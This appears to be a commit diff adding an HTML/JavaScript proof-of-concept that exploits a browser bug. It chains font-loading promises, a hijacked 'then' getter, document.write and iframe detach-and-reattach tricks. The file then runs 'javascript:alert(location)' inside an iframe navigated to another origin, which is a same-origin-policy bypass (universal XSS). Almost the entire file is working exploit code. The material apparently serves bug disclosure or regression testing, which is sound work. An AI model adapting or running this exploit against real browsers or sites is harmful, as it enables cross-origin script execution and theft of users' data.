1
+ < script >
2
+ if ( location . protocol == 'file:' ) {
3
+ throw alert ( 'HTTP server is required.' ) ;
4
+ }
5
+
6
+ if ( location . hash != '' ) {
7
+ location . hash = '' ;
8
+ throw location . reload ( ) ;
9
+ }
10
+
11
+ function start ( ) {
12
+ document . open ( ) ;
13
+ document . write ( "<style>" ) ;
14
+ document . write ( "@font-face { font-family: f1; src: url(c64.ttf); }" ) ;
15
+ document . write ( "@font-face { font-family: f2; src: url(c64.ttf); }" ) ;
16
+ document . write ( "</style>a" ) ;
17
+
18
+ var counter = 0 ;
19
+ function t ( ) {
20
+ switch ( counter ++ ) {
21
+ case 0 :
22
+ document . write ( "<x>" ) ;
23
+ document . write ( "<link rel='stylesheet' type='text/css' href='foo.css'>" ) ;
24
+ document . write ( "<iframe></iframe>" ) ;
25
+ document . write ( "</x>" ) ;
26
+ document . write ( "<style></style>" ) ;
27
+ location . hash = 'top' ;
28
+ var s = f1 . status == 'loading' ? 'f1' : 'f2' ;
29
+ if ( f1 . status != 'loading' && f2 . status != 'loading' ) { alert ( 'Never happens.' ) ; }
30
+ document . documentElement . setAttribute ( 'style' , 'font-family:' + s ) ;
31
+ i = document . querySelector ( 'iframe' ) ;
32
+ l = i . previousSibling ;
33
+ p = i . parentNode ;
34
+ p . remove ( ) ;
35
+ if ( f1 . status != 'loaded' || f2 . status != 'loaded' ) { alert ( 'Never happens.' ) ; }
36
+ setTimeout ( g , 1 ) ;
37
+ break ;
38
+ case 1 :
39
+ p . appendChild ( l ) ;
40
+ break ;
41
+ default :
42
+ throw alert ( 'Not reached.' ) ;
43
+ }
44
+ }
45
+
46
+ var fonts = document . fonts . keys ( ) ;
47
+ var f1 = fonts . next ( ) . value ;
48
+ var f2 = fonts . next ( ) . value ;
49
+ f1 . load ( ) ;
50
+ f2 . load ( ) ;
51
+ if ( f1 . status != 'loading' ) { throw alert ( 'The font is cached, please force reload (Ctrl+F5).' ) ; }
52
+ f1 . __proto__ . __defineGetter__ ( 'then' , t ) ;
53
+ }
54
+
55
+ function g ( ) {
56
+ i . src = 'https://example.org' ;
57
+ v = setInterval ( c , 1 ) ;
58
+ }
59
+
60
+ function c ( ) {
61
+ try {
62
+ i . contentDocument ;
63
+ } catch ( e ) {
64
+ clearInterval ( v ) ;
65
+ i . src = 'javascript:alert(location)' ;
66
+ x = document . body . appendChild ( document . createElement ( 'iframe' ) ) ;
67
+ x . style = 'display:none' ;
68
+ x . src = 's.svg' ;
69
+ }
70
+ }
71
+
72
+ onload = start ;
73
+ </ script >
0 commit comments